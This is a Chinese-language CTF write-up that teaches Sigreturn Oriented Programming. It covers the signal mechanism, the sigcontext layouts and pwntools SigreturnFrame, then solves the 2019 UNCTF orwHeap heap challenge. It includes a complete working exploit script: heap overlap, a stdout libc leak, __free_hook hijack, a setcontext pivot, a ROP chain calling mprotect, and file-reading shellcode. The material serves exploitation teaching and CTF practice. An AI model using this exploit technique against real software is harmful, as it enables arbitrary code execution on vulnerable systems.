簡介
SROP的全稱是Sigreturn Oriented Programming
,這是ROP
攻擊方法中的一種,其中sigreturn
是一個系統調用,在類unix系統發生signal的時候會被間接地調用;在傳統的ROP
攻擊中我們需要尋找大量的gadgets
來對寄存器進行賦值已達到我們的需求,而SROP
可以減少我們尋找gadgets
的難度…
前置知識
signal 機制
我們都知道在Linux中,系統被分爲了用戶態和內核態,通常情況下用戶態和內核態是相互隔離開的,而signal
機制是類unix系統中進程之間相互傳遞信息的一種方法,常見的信號機制常見的步驟如下圖所示:
- 內核向某個進程發送signal機制,該進程會被暫時掛起,進入內核態;
- 內核會爲該進程保存相應的上下文,主要是將所有寄存器壓入棧中,以及壓入signal信息,以及指向sigreturn的系統調用地址;此時棧的結構如下圖所示,我們稱ucontext以及siginfo這一段爲Signal Frame.需要注意的是,這一部分是在用戶進程的地址空間的;之後會跳轉到註冊過的signal handler中處理相應的signal.因此,當signal handler執行完之後,就會執行sigreturn代碼.
(此段引用ctf-wiki)
簡單的來說就是當一個用戶層進程發起signal
時,控制權就會切到內核層,然後內核保存進程的上下文,即各個寄存器的值到用戶的棧上,然後再把rt_sigreturn
的地址壓棧,跳到用戶層執行Signal Handler
,即調用rt_sigreturn
;當rt_sigreturn
執行完了之後就會跳到內核層,進行內核的操作了;最後內核恢復2中保存的進程上下文,控制權再次交還到用戶層進程…
sigcontext結構體
64位:
struct _fpstate
{
/* FPU environment matching the 64-bit FXSAVE layout. */
__uint16_t cwd;
__uint16_t swd;
__uint16_t ftw;
__uint16_t fop;
__uint64_t rip;
__uint64_t rdp;
__uint32_t mxcsr;
__uint32_t mxcr_mask;
struct _fpxreg _st[8];
struct _xmmreg _xmm[16];
__uint32_t padding[24];
};
struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};
32位:
struct sigcontext
{
unsigned short gs, __gsh;
unsigned short fs, __fsh;
unsigned short es, __esh;
unsigned short ds, __dsh;
unsigned long edi;
unsigned long esi;
unsigned long ebp;
unsigned long esp;
unsigned long ebx;
unsigned long edx;
unsigned long ecx;
unsigned long eax;
unsigned long trapno;
unsigned long err;
unsigned long eip;
unsigned short cs, __csh;
unsigned long eflags;
unsigned long esp_at_signal;
unsigned short ss, __ssh;
struct _fpstate * fpstate;
unsigned long oldmask;
unsigned long cr2;
};
可以看到這裏面保存有很多的寄存器,signal handler
返回後,內核爲執行 sigreturn 系統調用,爲該進程恢復之前保存的上下文,其中包括將所有壓入的寄存器,重新pop
回對應的寄存器,最後恢復進程的執行…
需要注意的是32位的sigreturn
的調用號爲77,64位的系統調用號爲15…
攻擊原理
因爲Signal Frame
保存在用戶的地址空間中,所以用戶是可以讀寫的;利用rt_sigreturn
恢復ucontext_t
的機制,我們可以構造一個假的ucontext_t
,這樣我們就能控制所有的寄存器…
不過在結構體的構建時,我們可以用pwntools
裏面有現成的庫函數:
用法可以這樣:
# 指定機器的運行模式
context.arch = "amd64"
# 設置寄存器
sigframe = SigreturnFrame()
sigframe.rax = 0x1
sigframe.rdi = 0x2
sigframe.rsi = 0x3
sigframe.rdx = 0x4
但是這個SROP
並不是單純只用在一個棧溢出漏洞中,通常我們會結合有些其他的漏洞來使用,因爲比較難構造…
實例
這裏我以2019UNCTF
的orwHeap
這道題目來簡單感受一下SROP的威力:
首先,我們先運行查看這個程序的功能:
我們發現是常規的堆分配,編輯和刪除,但是沒有輸出…
檢查開了哪些保護:
然後我們打開ida來分析:
這裏明顯有溢出了…
所以這裏我們可以利用這個漏洞來修改堆的size
使得堆其重疊,然後控制堆;
但是因爲這裏我們沒有show
功能來泄露地址,所以我們要想辦法利用stdout
函數來泄露地址;
我們需要在堆上面留下main_arena
的地址,利用重疊的堆來修改這個地址,讓其分配到stdout
的位置,因爲stdout
的地址和main_arena
離的很近,所以我們只需要爆破一個字節的地址就可以成功;
之後我們獲得了地址了就可以利用fastbin attack
劫持__free_hook
,利用setcontex
來進行SROP然後ROP讀出flag
了;
這裏要說一下setcontext
函數;
int setcontext(const ucontext_t *ucp);
這個函數的作用主要是用戶上下文的獲取和設置,可以利用這個函數直接控制大部分寄存器和執行流:
pwndbg> x/80i 0x7ffff7a7bb50
0x7ffff7a7bb50 <setcontext>: push rdi
0x7ffff7a7bb51 <setcontext+1>: lea rsi,[rdi+0x128]
0x7ffff7a7bb58 <setcontext+8>: xor edx,edx
0x7ffff7a7bb5a <setcontext+10>: mov edi,0x2
0x7ffff7a7bb5f <setcontext+15>: mov r10d,0x8
0x7ffff7a7bb65 <setcontext+21>: mov eax,0xe
0x7ffff7a7bb6a <setcontext+26>: syscall
0x7ffff7a7bb6c <setcontext+28>: pop rdi
0x7ffff7a7bb6d <setcontext+29>: cmp rax,0xfffffffffffff001
0x7ffff7a7bb73 <setcontext+35>: jae 0x7ffff7a7bbd0 <setcontext+128>
0x7ffff7a7bb75 <setcontext+37>: mov rcx,QWORD PTR [rdi+0xe0]
0x7ffff7a7bb7c <setcontext+44>: fldenv [rcx]
0x7ffff7a7bb7e <setcontext+46>: ldmxcsr DWORD PTR [rdi+0x1c0]
0x7ffff7a7bb85 <setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0]
0x7ffff7a7bb8c <setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
0x7ffff7a7bb93 <setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
0x7ffff7a7bb97 <setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
0x7ffff7a7bb9b <setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
0x7ffff7a7bb9f <setcontext+79>: mov r14,QWORD PTR [rdi+0x58]
0x7ffff7a7bba3 <setcontext+83>: mov r15,QWORD PTR [rdi+0x60]
0x7ffff7a7bba7 <setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8]
0x7ffff7a7bbae <setcontext+94>: push rcx
0x7ffff7a7bbaf <setcontext+95>: mov rsi,QWORD PTR [rdi+0x70]
0x7ffff7a7bbb3 <setcontext+99>: mov rdx,QWORD PTR [rdi+0x88]
0x7ffff7a7bbba <setcontext+106>: mov rcx,QWORD PTR [rdi+0x98]
0x7ffff7a7bbc1 <setcontext+113>: mov r8,QWORD PTR [rdi+0x28]
0x7ffff7a7bbc5 <setcontext+117>: mov r9,QWORD PTR [rdi+0x30]
0x7ffff7a7bbc9 <setcontext+121>: mov rdi,QWORD PTR [rdi+0x68]
0x7ffff7a7bbcd <setcontext+125>: xor eax,eax
0x7ffff7a7bbcf <setcontext+127>: ret
0x7ffff7a7bbd0 <setcontext+128>: mov rcx,QWORD PTR [rip+0x3572a1] # 0x7ffff7dd2e78
0x7ffff7a7bbd7 <setcontext+135>: neg eax
0x7ffff7a7bbd9 <setcontext+137>: mov DWORD PTR fs:[rcx],eax
0x7ffff7a7bbdc <setcontext+140>: or rax,0xffffffffffffffff
0x7ffff7a7bbe0 <setcontext+144>: ret
一般是從setcontext+53
開始用的,不然程序容易崩潰,主要是爲了避開fldenv [rcx]
這個指令…
一般用來利用call mprotect
-> jmp shellcode
0x7ffff7b1e4d0 <mprotect>: mov eax,0xa
0x7ffff7b1e4d5 <mprotect+5>: syscall
0x7ffff7b1e4d7 <mprotect+7>: cmp rax,0xfffffffffffff001
0x7ffff7b1e4dd <mprotect+13>: jae 0x7ffff7b1e4e0 <mprotect+16>
0x7ffff7b1e4df <mprotect+15>: ret
0x7ffff7b1e4e0 <mprotect+16>: mov rcx,QWORD PTR [rip+0x2b4991] # 0x7ffff7dd2e78
0x7ffff7b1e4e7 <mprotect+23>: neg eax
0x7ffff7b1e4e9 <mprotect+25>: mov DWORD PTR fs:[rcx],eax
0x7ffff7b1e4ec <mprotect+28>: or rax,0xffffffffffffffff
0x7ffff7b1e4f0 <mprotect+32>: ret
最終的exp如下:
EXP
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
context.arch = 'amd64'
name = './pwn'
p = process(name)
# p = remote('101.71.29.5', 10005)
elf = ELF(name)
# libc = ELF('./libc-2.27.so')
libc = ELF('./x64_libc-2.23.so.6')
if args.G:
gdb.attach(p)
def add(size, content):
p.sendlineafter('Your Choice: ', '1')
p.sendlineafter(': ', str(size))
p.sendafter(': ' , content)
def delete(index):
p.sendlineafter('Your Choice: ', '2')
p.sendlineafter(': ', str(index))
def edit(index, content):
p.sendlineafter('Your Choice: ', '3')
p.sendlineafter(': ', str(index))
p.sendafter(': ' , content)
add(0x68, '\n')
add(0x78, '\n')
add(0x68, (p64(0) + p64(0x21)) * 6 + '\n')
add(0x68, (p64(0) + p64(0x21)) * 6 + '\n')
delete(0)
add(0x68, 'a' * 0x60 + p64(0) + p8(0xf1))
delete(1)
delete(2)
add(0x78, '\n')
delete(0)
add(0x68, 'a' * 0x60 + p64(0) + p8(0xa1))
delete(1)
add(0x98, '\n')
edit(1, 'b' * 0x70 + p64(0) + p64(0x71) + p16(0x25dd)) # 0x25dd需要爆破
add(0x68, '\n')
add(0x68, 'c' * 0x33 + p64(0xfbad2887 | 0x1000) + p64(0) * 3 + '\n')
p.recvn(0x88)
libc_addr = u64(p.recvn(8)) - libc.symbols['_IO_2_1_stdin_']
log.success('libc_addr: ' + hex(libc_addr))
edit(1, 'b' * 0x70 + p64(0) + p64(0x91))
delete(2)
edit(1, 'b' * 0x70 + p64(0) + p64(0x91) + p64(0) + p64(libc_addr + libc.symbols['__free_hook'] - 0x20))
add(0x88, '\n')
edit(1, 'b' * 0x70 + p64(0) + p64(0x71))
delete(2)
edit(1, 'b' * 0x70 + p64(0) + p64(0x71) + p64(libc_addr + libc.symbols['__free_hook'] - 0x13))
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = (libc_addr + libc.symbols['__free_hook']) & 0xfffffffffffff000 #
frame.rdx = 0x2000
frame.rsp = (libc_addr + libc.symbols['__free_hook']) & 0xfffffffffffff000
frame.rip = libc_addr + 0x00000000000bc375 #: syscall; ret;
payload = str(frame)
add(0x68, payload[0x80:0x80 + 0x60] + '\n')
add(0x68, 'fff' + p64(libc_addr + libc.symbols['setcontext'] + 53) + '\n')
edit(1, payload[:0x98])
delete(1)
layout = [
libc_addr + 0x0000000000021102, #: pop rdi; ret;
(libc_addr + libc.symbols['__free_hook']) & 0xfffffffffffff000,
libc_addr + 0x00000000000202e8, #: pop rsi; ret;
0x2000,
libc_addr + 0x0000000000001b92, #: pop rdx; ret;
7,
libc_addr + 0x0000000000033544, #: pop rax; ret;
10,
libc_addr + 0x00000000000bc375, #: syscall; ret;
libc_addr + 0x0000000000002a71, #: jmp rsp;
]
shellcode = asm('''
sub rsp, 0x800
push 0x67616c66
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall
cmp eax, 0
js failed
mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall
mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall
jmp exit
failed:
push 0x6c696166
mov edi, 1
mov rsi, rsp
mov edx, 4
mov eax, edi
syscall
exit:
xor edi, edi
mov eax, 231
syscall
''')
p.send(flat(layout) + shellcode)
p.interactive()